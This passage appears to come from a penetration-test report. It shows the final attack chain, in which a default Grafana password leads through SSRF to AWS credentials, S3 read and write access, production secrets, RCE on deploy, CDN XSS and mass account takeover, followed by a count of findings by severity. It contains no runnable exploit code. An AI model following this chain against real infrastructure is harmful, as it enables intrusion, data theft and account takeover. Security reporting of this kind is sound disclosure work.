- 1.9 GB access logs with merchant payment tokens

---

## FINAL ATTACK CHAIN — COMPLETE INFRASTRUCTURE TAKEOVER + RCE

```
Grafana admin/admin (C26)
  → Infinity plugin SSRF (C28)
    → IMDSv2 token 
      → AWS IAM creds (docker-logs role)
        → S3 READ all 25 buckets
          → Production secrets (C29-C33): DB creds, JWT key, Twilio, FulgurPay, Intercom
        → S3 WRITE 10 buckets (C35-C36)
          → docker-compose.prod.yml overwrite → RCE ON NEXT DEPLOY
          → CDN file injection → XSS on all users
          → oauth-private.key replacement → mass ATO
        → CloudWatch READ (C37)
          → 120 GB production SQL queries (all user data)
          → Real-time application logs (sign-ins, tokens)
```

**Total impact from ONE default Grafana password:**
- **RCE:** S3 supply chain → production container code execution
- **Full DB access:** 120 GB SQL queries readable via CloudWatch
- **Mass ATO:** JWT private key + static OTP backdoor
- **Financial:** Twilio, FulgurPay crypto, Kartat card API credentials
- **CDN:** Arbitrary file write to production CDN (stored XSS)
- **Source code:** 545 MB GitLab backups
- **Infrastructure:** 16 EC2, 25 S3, 43 CloudWatch groups, Redis cluster

---

## FINAL SUMMARY
| Severity | Count |
|----------|-------|
| Critical | 37 |
| High | 30 |
| Medium | 16 |
| Low | 7 |
| **Total** | **90** |